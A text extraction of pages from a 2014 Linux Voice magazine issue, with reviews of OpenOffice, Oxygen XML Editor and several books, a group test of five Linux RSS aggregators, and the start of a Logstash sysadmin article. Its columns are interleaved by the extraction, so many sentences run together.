The main feature of 4.0 (released in July 2013) was Although this improves with each release, it is still not
a re-worked sidebar. perfect. Draw and Impress have had some graphical

“IBM has been taking an interest This came courtesy of
IBM, which has taken
tweaks to make them look better, while Base and
Math remain much as they’ve always been.
in the project since it stopped an interest in keeping
Getting better all the time
developing Lotus Symphony.” the project moving
since it stopped Performance has been another area of focus, and if
developing Lotus your abiding memory of OpenOffice is a splash screen
Symphony. The most hyped feature of 4.1 is improved that seemed to take forever to disappear, then you’ll
accessibility for blind users. However, this is only find the latest version a pleasant surprise. On our
available for Windows users. Of course, these haven’t main test machine, it took a couple of seconds to
been the only changes. open Writer and be able to edit the document. Calc,
The suite consists of six applications: Writer (word Impress, Math and Draw were similarly quick. Only
processor), Calc (spreadsheet), Impress (presentation Base left us waiting. This was tested on a spanking
We had no problems tool), Draw (vector drawing), Base (graphical new machine with an i7 processor and an SSD, so to
writing this review in database) and Math (formula tool). get a fairer picture, we fired up a six-year-old Centrino
OpenOffice, but that’s a Writer and Calc have seen the most improvements. powered laptop. From a cold start, this opened Writer
simple test. Almost all of these have been in the form of better in about seven seconds. While this is still a little longer
than we’d like, it’s quite impressive for an old machine.
Apache OpenOffice is improving with each release,
and it’s a perfectly capable office suite. However, the
improvements are quite small. Some other Linux
office suites are improving at a faster rate, and
OpenOffice is falling behind the competition. This is
only the second release since the project’s move from
Oracle, so if OpenOffice is to remain competitive, the
pace of improvements will have to increase. In Apache
and IBM, it has the backing of two organisations with
the capability to make this happen.

LINUX VOICE VERDICT
Better performance and support for
Microsoft formats, but little else to
get excited about in 4.1.

50 www.linuxvoice.com
OXYGEN XML EDITOR 16 REVIEWS

Oxygen XML Editor 16
Graham Morrison always forgets to close his elements.
Fortunately, there’s an editor for that.

X
ML is great. It makes content easier to work
with. It gives content a structure while
keeping it as plain text that you always have
complete control over. Unfortunately though, it can be
painful to edit in Vim or Emacs. So if you want to get
going on that user documentation you’ve been
meaning to tackle for a while, Oxygen XML Editor 16
might just give you the push you need.
Depending on your needs, you can buy Oxygen
XML Developer, Author or Editor. Editor = Developer
+ Author, so we’re focusing on the all-encompassing
Oxygen XML Editor in this review. It’s expensive. But And here’s single-sourcing
it’s not meant for mere mortals like us. It’s meant this latest release of Oxygen, you can define colour in action – PDF and
for technical writers fighting the good fight on the and style to help highlight conditional text when interactive HTML output
documentation front, and should be considered their working in the visual mode. side-by-side from the same
equivalent to a decent development environment and Say, for example, you have a topic that feeds into XML source.
its associated licences and support. two guides: a developer guide and a user guide. Some
Editor provides all the regular functionality you’d of the content in that topic is for one audience, the
expect from a good XML editor: support for all the system developers; some of the content is for the
schema languages, XML validation, XPath support other audience, the end users, and some of the
and user-defined search scopes. But one of the big content is for both audiences. Oxygen has always DATA
strengths of Oxygen is its ability to output content handled conditional text well, thanks to its solid build
Web
to the main delivery formats, including XHTML, capabilities, but you can now visualise which bits of
www.oxygenxml.com
PDF, EPUB and Eclipse, all at the flick of a switch content are aimed at which users, making it much Developer
through its configurable transformation scenarios. easier to hone that content for specific reader types. SyncRO Soft Ltd
It also outputs DITA and DocBook content to its very Price
own strain of WebHelp, which saves you cobbling Writing like a windowpane From US $488
Licence
together your own set of search and indexing tools to Other cool features that have been added with the Proprietary
accompany XHTML output. If, however, you want to latest release are Quick Fix, to help solve common
automate your WebHelp builds for large projects, you XSLT errors, cross-file XPath querying and an Ant build
need to pay for an additional hefty licence to be able file editor. And, if you’re not CSS savvy, there’s now a
to use WebHelp from the command line. visual interface for creating them, which Oxygen calls
As a content author, you can choose to see the text its WebHelp Skin Builder. The Skin Builder helps you
version of your content, with XML tags highlighted visually customise the style of your WebHelp interface
for easy reading and automatic element completion, and then export the skin as a CSS file to use in your
or view it in visual authoring mode, which renders the WebHelp transformation scenario. But remember,
content into a form more akin to its output state. In your content needs to be stored in either the DITA or
DocBook framework to use Oxygen’s WebHelp.
From what we’ve seen and heard, while these
additions could be rather handy to XML content
developers, it looks like they simply enhance an
already very powerful XML development environment
that’s backed up by a super responsive tech support
team. If you’re thinking of investing in a good XML
editor, and you’ve got the financial support to fund the
purchase, this has to be the one to go for!

LINUX VOICE VERDICT
One of the best XML editing tools
available. It’s expensive. But maybe
your IT department will be paying?
Conditional text highlighting helps you target content at
specific users. The blue text here is for expert users, for
example.

www.linuxvoice.com 51
REVIEWS BOOKS

No place to hide: Edward Snowden,
the NSA and the Surveillance State
Ben Everard bought this book in cash so GCHQ doesn’t know he read it…

E
ven before the Snowden revelations, passion. However, when writing about a
Glenn Greenwald had a history of variety of subjects in 250 pages, there is
writing about the US government’s a risk that none of them will be covered in
spying making him the perfect person to sufficient detail. The detail of the history
lead the reporting on the subject. of the leaking stopped abruptly in Hong
No Place to Hide is divided into five Kong, so we don’t get to learn Greenwald’s
chapters. The first two are the story of how perspective on Snowden’s exile in Russia.
Greenwald and Snowden met and began For anyone who feels they haven’t
working together. The subsequent chapters followed the news as closely as they’d like,
each deal with different aspects of what this is an good way to catch up, but there is
happened next. First, Greenwald talks about little new material here.
what the leaks actually said about how
the governments of America and the UK
colluded to invade the privacy of a huge LINUX VOICE VERDICT
proportion of the world’s citizens. Then he Author Glenn Greenwald
goes on to look into the dangerous effect on Publisher Hamish Hamilton
ISBN 978-0241146699
society such an invasion has, and finally he
Price £20
talks about the nature of the current media
An excellent recount of the Snowden saga, but
establishment on both sides of the pond. it isn’t the explosive finale we had hoped for.
These are all matters of deep importance No Place to Hide, other than – presumably –
to Greenwald, and he writes well and with Moscow Sheremetyevo Airport.

Head First JavaScript Programming
Graham Morrison is thinking of upgrading linuxvoice.com with a little JavaScript.

W
e love O’Reilly’s Head First series,. code about a third of the way through, before
They’re nearly always brilliant finishing up with prototypes and app
and totally unlike the majority of building. It’s a comprehensive and digestible
other books that try to teach you technical overview. We sometimes have a problem
subjects. They’re visual, entertaining and with the words – the section of functions
easy to read, and you’re never overwhelmed has the title ‘getting functional’ which could
by data or source code. And while O’Reilly be confusing, and there’s relatively little on
uses phrases like ‘multi-sensory’ and JQuery or JSON. But that makes it perfect
‘cognitive science’ to explain its strategy, all for its target audience, which is beginners.
we can really say is that it works. JavaScript And it avoids the classic problem with
is particularly well suited to this approach. beginners’ books, and that’s scaring off the
There are probably more non-programmers audience. Good work.
programming in JavaScript than any other
language. And nearly all of them must be
using it to add interaction to websites, which LINUX VOICE VERDICT
is the obvious target audience for this book. Author Eric T Freeman and Elisabeth Robson
Publisher O’Reilly
ISBN 978-1449340131
The BASIC language of the web Price £38.50
Head First JavaScript assumes very little prior
If you can live with the West Coast bonhomie,
knowledge, and takes the reader from the there’s no better book for JavaScript newbies As much as we love the editorial style inside
humble beginnings of dealing with variables Head First books, we’ve a phobia against the
and loops, passing through object-oriented large heads and small feet on their covers.

52 www.linuxvoice.com
REVIEWS BOOKS

Brew your own British Real Ale ALSO RELEASED…
Need another excuse for a BrewPi? Graham Morrison finds 100

I
f our BrewPi tutorial in LV001 has got
you brewing your own (perfect!) beer,
and you’re looking to move on from
kits, this is the perfect next step. Here’s a
book full of recipes for many of the most
popular ales found throughout the United Who’d have
Kingdom, from Black Sheep and Old thought
Peculier, to Wadworth 6X to Arkell’s Mash WordPress
Beer. The perfect
Tun Mild. What we like mostly about this would come
prop for politicians
book is that it includes malt extract recipes so far?
and Linux
alongside fully mashed recipes when the journalists. Building Web Apps with WordPress
ingredients make the extracts viable. This It’s no longer a humble blogging platform, and
can save several hours of effort and still with a few cheaper brews first. But when this book aims to take your use of WordPress
yield excellent results. We’re lazy brewers. you’ve cracked the method, the results are even further by writing plugins, using PHP and
JQuery and even by developing native Android
awesome. Hic…
and iOS apps.
Plato, they say, could stick it away...
What you won’t find is very much LINUX VOICE VERDICT
background information on how to Author Graham Wheeler
actually brew your beer, although the Publisher Campaign for Real Ale
first couple of chapters give you enough ISBN 978-1-85249-258-8
Price £14.99
details if you’ve already done a few kits.
A book with 100 beer recipes published by
Each recipe is little more than a list of the Campaign for Real Ale. Enough said.
quantities, times and temperatures. For
this reason, we’d recommend practising
Kivy, because
all the good

An Astronaut’s Guide to Life On Earth names have
been taken.

Ben Everard is going to be an astronaut when he grows up. Creating apps in Kivy
Is that a mule, a donkey or a horse? We’re not

A
sure. But as this book is about Kivy, a mobile
n Astronaut’s Guide to Life On Earth touch-based GUI framework for Python,
is two narratives woven together. perhaps it’s been scared by the large snake
One is a biography of an astronaut hiding in the undergrowth.
and the other is a self-help guide based
on that astronaut’s experiences at NASA
and CSA (Canadian Space Agency). The
biography part of the book manages to Without gravity,
capture the majesty of space in a way that how would a
will be familiar to anyone who’s watched skateboarder stay
his popular videos on life in space. Of on the board?
course, time in space counts for only a
small portion of any astronaut’s career Linux Voice, our first issue would still be at
and this book also covers Hadfied as he least 18 months away, by which point we
performs a wide range of duties from would have run out of money (although if it
training to communications and robotics. did arrive, it wouldn’t have any typos). Keep it secret,
The second narrative thread of this book keep it safe.
is less impressive. Hadfield exposes a view LINUX VOICE VERDICT Learn Computer Architecture with RPi
that we should all follow NASA’s modus Author Chris Hadfield What’s this we spy? A new book from Mr
operandi and focus on everything we do Publisher Macmillan Everard and chums? Shhh… don’t tell anyone.
in excruciating detail. As he puts it: ‘sweat ISBN 978-1447257103 It’s not due out until the end of the year, but
Price £18.99 we love the idea of a modern version of the
the small stuff’. Unfortunately, we don’t all
Some parts are really enjoyable but the Amiga Hardware Reference Manual.
have NASA’s budget or the luxury of being book’s let down by impractical advice.
able to spend years preparing for a single
mission. If we had followed this guide at

www.linuxvoice.com 53
GROUP TEST RSS AGGREGATORS

RSS
AGGREGATORS
GROUP TEST
Marco Fioretti explores five different ways to get news
from the internet, and explains why you need RSS

On Test RSS Aggregators
All the news you want, without Big Brother.
Akregator

T
URL www.kde.org his Group Test may be the news you may want to see in one
Version 4.12.5 most important you read window, without jumping from
Licence GPL v2 this year, because RSS is website to website.
The aggregator from and vital, both for you and for the web The others are independence and
for the KDE desktop. Does as a whole. Seriously. privacy. As long as all the websites
it work well even in other RSS means Rich Site Summary you care about publish RSS feeds
environments? and you use them, those websites
or, some say, Really Simple

Liferea Syndication. A standard RSS feed is
a plain text file that always contains
don’t run the risk of seeing
themselves penalised by private
URL http://lzone.de/ the latest headlines from the search engines and social
liferea
website that publishes it. In networks, which have their own
Version 1.10.8
Licence GPLv2+ practice, an RSS feed may contain scoring algorithms and priorities. At
A GTK, that is Gnome- text and links to any kind of the same time, you never become
oriented application with resource, from local log files to dependant on any external service
many features and plugins. streamed music. (remember all the complaints last
RSS aggregators download the year when Google Reader closed?
Newsbeuter feeds that their users want and THAT is what we’re talking about!).
URL http://newsbeuter.org present all their contents in one Above all, nobody else gets (at least
Version 2.8 coherent view, making it possible to with self-hosted, web-based
Licence MIT read many stories from many aggregators) one single lists of all
This RSS aggregator for sources, very efficiently. the “news” you like to read on a
the console is at least The reasons why RSS is vital are regular basis, so RSS can be a great
as rich in features as the very simple. The most obvious, and help in keeping the web a place of
others. many independent publishers and
less important, is to save time: with
a good aggregator you get all the readers. Please use RSS!
QuiteRSS
URL http://quiterss.org
Version 0.15.4 “In practice,an RSS feed may contain
text and links to any kind of resource.”
Licence GPLv3
A multiplatform
aggregator, with a flexible,
easy-to-use category and
tagging system. THE CRUCIAL CRITERIA
We wanted to make trying RSS first category are the fastest, and may
Tiny Tiny RSS aggregators as easy as possible. This be perfect for users with disabilities.
URL http://tt-rss.org led us to exclude interesting packages Web-based tools, instead, only have be
like SnowNews or RSSOwl, which installed once to be usable from any
Version 1.12
seemed to be available as binary browser, on any computer.
Licence: GPLv3
packages in the default repositories of Other important criteria were
A web-based aggregator fewer distributions than others. active development, documentation,
ready for the cloud and At the same time, we absolutely had efficient news browsing and support
perfectly integrated with to show you how many options you for multimedia enclosures. Features
your main browser. have, from command line aggregators like news tagging were also tested, but
to web-based ones. Programs in the treated as slightly less relevant.

54 www.linuxvoice.com
RSS AGGREGATORS GROUP TEST

Sharing feeds Multimedia
Can I pass interesting news to all my friends? Lots of stories don’t come as
text. Can I still get them?

N
ews doesn’t have to be plain text.
Therefore, an RSS aggregator that
doesn’t know what to make of
multimedia content is not worth much.
As with other functionalities, Tiny Tiny RSS
is the easiest contender to talk about. Since
you must use it from a browser, you will
access only the non-text content that your
browser already knows how to handle.
You may think that Newsbeuter, being a
console application, would be even quicker to
deal with, but you would be wrong, at least for
audio and other content marked according to
the Media RSS extension (www.rssboard.org/
media-rss). As it happens, Newsbeuter is
developed and distributed with a twin
application called Podbeuter, which works
both as a download manager and, above all,
as a podcast player.
Akregator, Liferea and QuiteRSS all
Liferea (in the back) knows how to submit links to tens of online communities. Tiny Tiny RSS downloaded and played the audio podcast we
(front bottom) generates RSS feeds of all the news you want to share. tried from our test suite of feeds. Video
playback depends on which combination of

G
ood RSS aggregators can easily when they are not available. A common aggregator, Linux distro, installed multimedia
pass single articles on many other way is to create and manage OPML lists codecs, configuration and content you want to
channels with one click, as well as or single, custom feeds with Tiny Tiny manage. We cannot guarantee that any of the
whole lists of feeds. RSS, optionally protected by passwords, desktop aggregators will be able to play
The open standard called Outline and then read them with any desktop- whatever video you may find online. However,
Processor Markup Language (OPML, based aggregator. Newsbeuter and Liferea there is a quick and dirty solution: whatever
http://dev.opml.org/spec2.html) was support this integration with Tiny Tiny your desktop aggregator is, tell it to pass the
created just for the second type of RSS (or with Reedah and TheOldReader) article that contains the troublesome content
sharing. An OPML file is a plain text, out of the box, and even with the others to your main browser, which of course you will
hierarchical list of URLs of RSS feeds. All it’s quite simple. Independent instances of have already configured with all the plugins
the aggregators described here can Tiny Tiny RSS may even directly link to you need.
import and export such lists. each other in this way.
With Newsbeuter, you need to pass it an Liferea can save feeds to heaps of online
OPML file with the -i option the first time communities; Newsbeuter can save
you run it, if you want to avoid complaints. bookmarked articles to an external file or
Feeds in nested folders will get tags with in your del.icio.us account. QuiteRSS sits
the same hierarchical structure. somewhere in the middle: its default
Newsbeuter also supports what is called “share” menu has email, Evernote, Google
“OPML online subscription mode”: give it Plus, Facebook, Twitter and a few other
the URLs of one or more OPML lists, and it services. Tiny Tiny RSS has plugins for
will dynamically (re)load all the feeds they sharing news via email or services like
contain every time you launch it. Flattr, Google+, Pinterest or Identica, but QuiteRSS makes the best job of playing RSS
In general, both single users and small you may find it more convenient to use the podcasts, but the others are also up to the task.
organisations can keep in synch, or bookmarklets provided by those websites.
distribute, their newsfeeds using VERDICT
combinations of the programs presented VERDICT Akregator
Liferea
here. You and all your partners can enjoy Akregator Newsbeuter
Liferea QuiteRSS
the greater speed and desktop integration Newsbeuter Tiny Tiny RSS
QuiteRSS
of a native aggregator on your computers, Tiny Tiny RSS
and still access the same set of feeds

www.linuxvoice.com 55
GROUP TEST RSS AGGREGATORS

News management User interface
How will it fit my workflow?
Navigation, search, filters…

D
o you frequently print interesting The boxes that follow try to give you a

T
heoretically, a good RSS aggregator news for offline reading? very general idea of how each of the
displays news when and how you Akregator, which integrates the selected aggregators looks, feels and
want, and enables you to browse very KDE printing panel, may be the best works under the hood. You should use
quickly. It also supports flexible classification option. Need to process news with other this information to figure out how each
of feeds and articles, as well as search and tools? Go with Newsbeuter, which may be tool would integrate with your own
filtering. In practice, some of these features run within scripts, or Tiny Tiny RSS which current Linux desktop and system
may be irrelevant for you. An avid reader who can store everything into a database. maintenance routines.
doesn’t care about archiving, for example,
would have little use for categorisation and
search interfaces. Akregator
Navigation is very simple in all aggregators. Akregator is the main, if not the official that makes the configuration tweaks that
Newsbeuter is the fastest, thanks to its textual RSS aggregator of the KDE desktop. people most frequently want easier to do:
interface and its many bandwidth-saving Printing and integration with your Kontact the commands to change fonts, font size
tricks. Tiny Tiny RSS is only as fast and address book are incorporated within it. and colours are very simple to find and
responsive as the link between its host Depending on your taste, you may find its use. Configuration of keyboard shortcuts
computer and your browser. default interface and layout dull or is equally effortless. Even some less
Liferea and Akregator provide the most unobtrusive and efficient. While it’s hard to common operations, like playing audio or
options for opening links: by themselves, or remember its looks, or be impressed by pop-up windows to signal the arrival of
passing them to new tabs or windows of them, Akregator is also the RSS interface more headlines, are self explanatory.
different browsers, with manual configuration
of browser invocation.
QuiteRSS and Liferea seem the best ones
for search, with Akregator slightly behind. Our
personal preference goes to the search panel
of QuiteRSS: many (but not too many) options,
all packed in one very friendly panel.
Akregator shares the
Tiny Tiny RSS has the barest search look and feel of the rest
interface. While it seems that you may only of KDE: solid, practical,
limit the search to fresh articles, it is also simple. Even good
possible to type more options, like @{date} to looking!
match by date, directly in the text input box.
However, with the right macros, scripts and
the will to set up and use them, Newsbeuter Liferea
could beat all the others. Liferea was conceived as a Linux clone of buttons and menus are even cleaner than
All the contenders can organise feeds in the FeedReader aggregator for Windows. those of Akregator. Three layouts are
hierarchical trees and assign as many By default the feed selection included available: Normal, Wide (feeds, titles and
non-hierarchical tags or labels as you wish to ranges from geek-only titles like Slashdot content in parallel columns) or Combined,
each article (Tiny Tiny RSS also has limited to music and comic blogs. At its bottom which is the most compact. Should you
support for scoring). They also all have some there are two very convenient folders: one dislike the default colours and text
cache or archive, usable (except for Tiny Tiny for all the news still unread and another formatting, you may fix them all with a
RSS) even for offline reading. Liferea supports for those marked as “Important”. Saved couple of clicks, replacing the included
independent “News Bins” – permanent, static news is readable in offline mode. The CSS stylesheet with another you like best.
containers for articles that you want to keep.
The Akregator archive is the easier to
configure: with one or two clicks you can, on a
per-feed basis, disable archiving, or choose to
keep only articles marked “Important”.

VERDICT
Akregator
Liferea
Newsbeuter Liferea’s ‘Normal’ look is even
QuiteRSS
Tiny Tiny RSS cleaner and user friendlier
than Akregator, yet is quite
powerful.

56 www.linuxvoice.com
RSS AGGREGATORS GROUP TEST

Newsbeuter
Whoever first called Newsbeuter “the Mutt
of RSS aggregators” is right. This program
Once you get used to it, Newsbeuter is
really efficient. Type / to search for text, Installation
feels like that console email client. N to open the next unread article and ? to
The default browser that displays the list all the available commands. All the text How do I get started?
articles is Lynx. With the exception of the dialogs you use remain open for the whole

T
layout, pretty much everything else can be session: type V to see their list and reopen hanks to how we selected the
changed in a few configuration files. any of them. applications for this Group Test, there
is very little to say here about the four
desktop applications: they should be available
in the standard online repositories of most
distributions derived from (at least) Debian,
Ubuntu and Fedora. Just tell your usual
package manager to get them. However, this
The feed headlines (front)
and the actual content of may not always be enough.
each article (back) can use Why? Because, while your browser and/or
completely different colour your Linux box as a whole would surely have a
schemes in Newsbeuter. way to play almost any audio or video around,
your aggregator may not, unless you
constructively mess with its configuration. If
QuiteRSS an important feed regularly includes
QuiteRSS uses the Qt toolkit and the tree and rearranging columns as you wish. multimedia content, check out in advance
WebKit rendering engine to run without You can open single feeds or articles in what its format is, and how your candidate
problems on Mac OS X, Linux, Windows separate tabs, and configuring audio or aggregator can handle it.
XP or later and OS/2. The interface is very pop-up notifications for new articles is Tiny Tiny RSS is an entirely different matter.
well organised, with just one exception: almost as simple. The default categories Tiny Tiny RSS is “compatible”, by definition,
the buttons that block banners with and labels in the bottom left pane will be with any format that your browser can handle.
AdBlock are almost invisible. That said, it’s more than enough for most users, and At the same time, this is the only package that
a snap to go full-screen, hiding the feed adding your ones only takes a few clicks. must be installed manually. The good thing is
that it only takes one “techie” to make Tiny
Tiny RSS available to all their friends, relatives
or colleagues, whatever operating system they
use. How? First, you must download the
source code into a folder of any computer
An easy labelling system in
equipped with a PostgreSQL or MySQL
plain view, number, order and
size of columns in the feed database and web server. That computer
list changeable with a few may be anything from your actual Linux
clicks. That’s QuiteRSS for desktop to a web hosting account anywhere
you. on the planet.
Next, create a database and database user
for Tiny Tiny RSS (see the documentation for
Tiny Tiny RSS detailed instructions). Third, point your browser
Tiny Tiny RSS is slightly slower, and has a that “server operating system” includes to the folder where you had installed the
more limited interface than the other GUI any Linux desktop. If all this isn’t enough, software and follow the instructions. You will
aggregators presented here. However, it is there is even an official Android client. most probably have to change the permissions
also the most “portable” aggregator Even without plugins, you get hierarchical and/or ownership of some sub-folder, but that
around. The software itself will run on feed display with user-configurable is pretty much it. After a few clicks, you will be
pretty much any server operating system categories and labels, scoring,server-side able to enter your Tiny Tiny RSS installation as
around, while the UI works on any browser archive, and three different access levels: administrator and create new users. Even if
that can handle JavaScript. Please note user, power user and administrator. you will be the only user of your Tiny Tiny RSS,
however, do create a separate account for your
daily usage, to avoid messing up the general
configuration by mistake.

VERDICT
A themeable Web interface Akregator
accessible from any browser, Liferea
or through an associated Newsbeuter
QuiteRSS
Android client – it’s hard to Tiny Tiny RSS
be more portable than Tiny
Tiny RSS.

www.linuxvoice.com 57
GROUP TEST RSS AGGREGATORS

Automation & plugins
What’s the point of software, if it doesn’t work for you?

C
ollection and processing of automatically with other programs
news with Free Software can be through the DBUS interface.
much more powerful and Liferea can also use RSS feeds even
efficient (in one word: fun) than you for websites that don’t provide one, by
may expect. scraping their content and reformatting
The filtering system of QuiteRSS is it as an RSS feed. It is possible to
(much) more limited than the others, configure the program to launch a
but much simpler to use. Feeds or script that does this, or tell it to run a
articles matching the user-defined postprocessing filter. We highly Liferea can scrape the content of websites into an RSS
conditions can trigger actions such as recommend the first approach, which format even if that site doesn’t have an RSS feed.
adding tags and labels to them, or play would be reusable with any other
sounds. Akregator is more or less in the aggregator. displayed, while others handle feed
same situation. SnowNews, an aggregator that for redirectors, authentication through
Newsbeuter supports both macros several reasons we couldn’t include in external services and extensions for
and any external software that either this Group Test, has an online download and automatic reformatting
outputs a correct RSS feed by itself, or repository of feed processing scripts, of non-standard feeds, from Scientific
converts the content of whatever Web together with instructions to write your American to National Geographic.
page Newsbeuter passed to it to the ones, at http://kiza.kcore.de/software/ Last but not least, databases: Tiny
same format: press the comma key snownews/snowscripts. Those scripts Tiny RSS relies on a MySQL or
followed by a string to execute the can be used also by Liferea and PostgreSQL backend, Newsbeuter and
macro defined with that name in the Newsbeuter to do things like removing Liferea on SQLite. Akregator, if archiving
configuration file, or | to pipe the text of advertising and other graphics from is enabled, does it with Metakit.
the current article to any other program. web pages, or downloading Twitter
Liferea comes with two plugins timelines and Wikipedia watchlists. VERDICT
installed: a music and video player, and No, we haven’t forgotten Tiny Tiny Akregator
Liferea
an interface for the Gnome Keyring RSS: its plugin configuration panel lists Newsbeuter
QuiteRSS
password manager. If that isn’t enough, dozens of extensions. Some just Tiny Tiny RSS
you can make Liferea interact simpllify how certain feeds are

Documentation
How do I do that?

A
kregator and QuiteRSS have friendly enough that you won’t need to
maybe the smallest and study anything to get started and
poorest documentation sets of perform most tasks, it comes with a
the group. Truth be told, they also are good Help menu that links to the FAQ, a The Liferea Help menu (top right) points to everything you
the programs that need it less: you can Quick Reference Tutorial and to a good need to know to use the program. So do the links embedded
figure out by yourself practically manual. The latter explains, among in many forms of Tiny Tiny RSS
everything you might have to do just by other things, how to update feed
clicking around. subscriptions, use News Bins and That’s why we strongly suggest
The same may be said for the manage enclosures and podcasting. reading the “Why NewsBeuter” text
end-user part of Tiny Tiny RSS. The The official Liferea blog (http://lzone. (http://newsbeuter.org/doc/
administration side is more complex, of de/liferea/blog) is another good source newsbeuter.html#_why_newsbeuter).
course, but the documentation is of information. It will give you a good overview of what
adequate, including the parts about the Newsbeuter has the most exhaustive is possible, and maybe even ideas on
installation and the variables in the documentation of the pack. Every how to use the other aggregators.
configuration file. Besides, the forms for option and configuration variable is
several tasks include direct links to the described in detail on the website. VERDICT
corresponding parts of the manual. Which is good, because Newsbeuter Akregator
Liferea
Liferea is the best from this point of does so much that you could never Newsbeuter
QuiteRSS
view, at least for ordinary users without figure out how to get the most out of Tiny Tiny RSS
advanced needs. While still being this aggregator by simply using it.

58 www.linuxvoice.com
RSS AGGREGATORS GROUP TEST

OUR VERDICT
RSS Aggregators
D
eciding the winner of this posts and threads in blogs and Liferea is the best compromise between simplicity and features.
Group Test was hard. fora) will find themselves doing
Objective evaluation of
features and defects of each
those things in their main browser,
to reuse cookies if nothing else.
1st Liferea
Licence GPLv2+ Version 1.10.8
contender clashed, we confess, The same is true for everybody
with our strong, but personal who wants to bookmark and http://lzone.de/liferea
opinion of where the web and its categorise the web pages they get Liferea is fast, has all the main features, can be extended in
users should go, and how. via RSS. Why keep two separate many ways and installation is dead easy. That’s why it wins.
This, they say, is the age of Cloud tagging and bookmarking systems?
Computing, that is of software that This, for the record, is the reason 2nd Tiny Tiny RSS
runs “in the cloud”, on a remote why we didn’t pay more attention to Licence GPLv3 Version 1.12
server, somewhere else. If that is labelling, scoring and so on.
true, it had better be your cloud – In other words, if all your http://tt-rss.org/redmine/projects/tt-rss/wiki
Free Software that you install and RSS-related activity and indexing It’s slow and its interface isn’t really state of the art. However, it
run on a server you can trust – would have to happen inside a is the most portable and future-proof of the pack. Give it a try.

“The only contender here, never mind the 3rd QuiteRSS
winner, should be Tiny Tiny RSS.”
Licence GPLv3 Version 0.15.4

http://quiterss.org
Do you need to categorise and label all your news, just as you
shouldn’t it? By this line of browser anyway, why not even read
want? This is the aggregator for you.
reasoning, the only contender here, the feeds with the same browser?
never mind the winner, should be At the same time, we
Tiny Tiny RSS. It is made to work acknowledge that most people will 4th Newsbeuter
exactly in that way, and it even has not need a full-fledged Web based Licence MIT Version 2.8
an Android client, so why should system, especially if it is slower
http://newsbeuter.org
you ask for more? than native desktop programs. At
If you have the time to learn all its possibilities, Newsbeuter
Well, there are two other reasons that point, the choice is simple. can be the most efficient and flexible aggregator around.
to prefer Tiny Tiny RSS, which are Newsbeuter is fast and extremely
much more objective than the one powerful, but has the steeper
above, but do not apply to learning curve. Akregator is simple
5th Akregator
everybody. and practical, but relatively limited. Licence GPLv2 Version 4.12.5
People who use RSS mostly to QuiteRSS is full featured and www.kde.org
find and play multimedia content, or portable, but not the best in terms Akregator lacks the plugins of Liferea, but is so simple and solid
participate in online activities (for of plugins and documentation. So, it may be all you need.
example, commenting on new you guessed it, Liferea wins.

YOU MAY ALSO WISH TO TRY…
You should also try SnowNews if command- rawdog.html): give it a feed, and it will downloads and assembles different feeds
line tools are for you, or RSSOwl for a produce a static HTML page with all the into a new, combined one. It’s also relatively
graphical interface: it is multiplatform and corresponding articles. The Python module simple to create an RSS feed from any text
even runs as an Eclipse plugin. called feedparser is already used for many input. The script at http://ocsovszki-dorian.
There is also plenty of Free Software that tasks of this kind, and well documented. blogspot.it/2011/01/generating-rss-feed-
can download, generate or otherwise process Even on the opposite side, that is feed width-bash-script.html, for example, creates
RSS feeds automatically. An example of such generation, there are plenty of choices. Try feeds for torrent clients, and is easy to study
category is Rawdog (http://offog.org/code/ Planet (www.planetplanet.org), which and adapt to other cases.

www.linuxvoice.com 59
SUBSCRIBE

SUBSCRIBE shop.linuxvoice.com

Not all Linux magazines are the same
Introducing Linux Voice,
the magazine that:
Gives 50% of its profits
back to Free Software
Licenses its content
CC-BY-SA within 9 months

12-month subs prices
UK – £55
Europe – £85
US/Canada – £95
ROW – £99

7-month subs prices
UK – £38 DIGITAL
Europe – £53 SUBSCRIPTION
US/Canada – £57 ONLY £38
ROW – £60

Each month Linux Voice includes 114 pages of in-depth tutorials,
features, interviews and reviews, all written by the most
experienced journalists in the business.
Payment is in Pounds Sterling. 12-month subscribers will receive 12 issues of Linux Voice a year. 7-month
subscribers will receive 7 issue of Linux Voice. If you are dissatisfied in any way you can write to us to cancel your
subscription at subscriptions@linuxvoice.com and we will refund you for all unmailed issues.

60 www.linuxvoice.com
NEXT MONTH

NEXT MONTH IN

EVEN MORE AWESOME!
ON SALE
THURSDAY More Turing!
TURING AGAIN
31 JULY British computing
was once streets
ahead of the rest of
the world, thanks to
Alan Turing and the
Manchester MK II.
We should celebrate
this fact a lot more…

Fork off!
Free software is all
TURING AGAIN about choice – and
that includes the
choice of the
developers to branch
out on their own.
Find out why and
how they do it.

Slackware

RASPBERRY PI PROJECTS Get your hands dirty
with a peek under
the hood of
It’s summer, so that means staying in out of Slackware – the
the rain and hacking up a heap of fun with a oldest, purest and
some would say
Nerf gun, a Raspberry Pi and a Robot arm. awesomest Linux
Local wildlife, be very afraid… distro around.

LINUX VOICE IS BROUGHT TO YOU BY
Editor Graham Morrison Editorial consultant Nick Veitch through the use of advice in this magazine. Copyright Linux is a trademark of Linus
graham@linuxvoice.com nick@linuxvoice.com Experiment with Linux at your own risk! Torvalds, and is used with permission.
Deputy editor Andrew Gregory Distributed by Marketforce (UK) Ltd, Blue Anything in this magazine may not be
andrew@linuxvoice.com All code printed in this magazine is licensed Fin Building, 110 Southwark Street, London, reproduced without permission of the editor,
Technical editor Ben Everard under the GNU GPLv3 SE1 0SU until March 2015 when all content (including
ben@linuxvoice.com Tel: +44 (0) 20 3148 3300 images) is re-licensed CC-BY-SA.
Editor at large Mike Saunders Printed in the UK by ©Linux Voice Ltd 2014
mike@linuxvoice.com Acorn Web Offset Ltd Circulation Marketing by Intermedia Brand ISSN 2054-3778
Creative director Stacey Black Marketing Ltd, registered office North Quay
stacey@linuxvoice.com Disclaimer We accept no liability for any House, Sutton Harbour, Plymouth PL4 0RA Subscribe: shop.linuxvoice.com
loss of data or damage to your hardware Tel: 01737 852166 subscriptions@linuxvoice.com

www.linuxvoice.com
SYSADMIN

SYSADMIN
System administration technologies brought to you from the coalface of Linux.

Jonathan Roberts
dropped out of an MA
in Theology to work
Logstash
with Linux. A Fedora Understand the troves of information gathered by your logs.
advocate and systems

L
administrator, we hear
ast issue, we talked about why logs today, provides a repository for Logstash
his calming tones
whenever we’re stuck are important and offered a brief and Elasticsearch, details of which are on its
with something hard. introduction to collecting logs with website (www.elasticsearch.org/blog/
syslog. This month, we want to take you a apt-and-yum-repositories).
When it comes to troubleshooting, there’s few steps beyond those basics and Once you’ve installed the package, start
no substitute for knowing how the introduce a log management solution. the Elasticsearch server with service
components of your system actually work.
There are plenty of options out there, elasticsearch start or equivalent.
That said, there are some common steps
including the very well regarded Splunk, but Kibana has no package, but since its
that you should take every time you sit
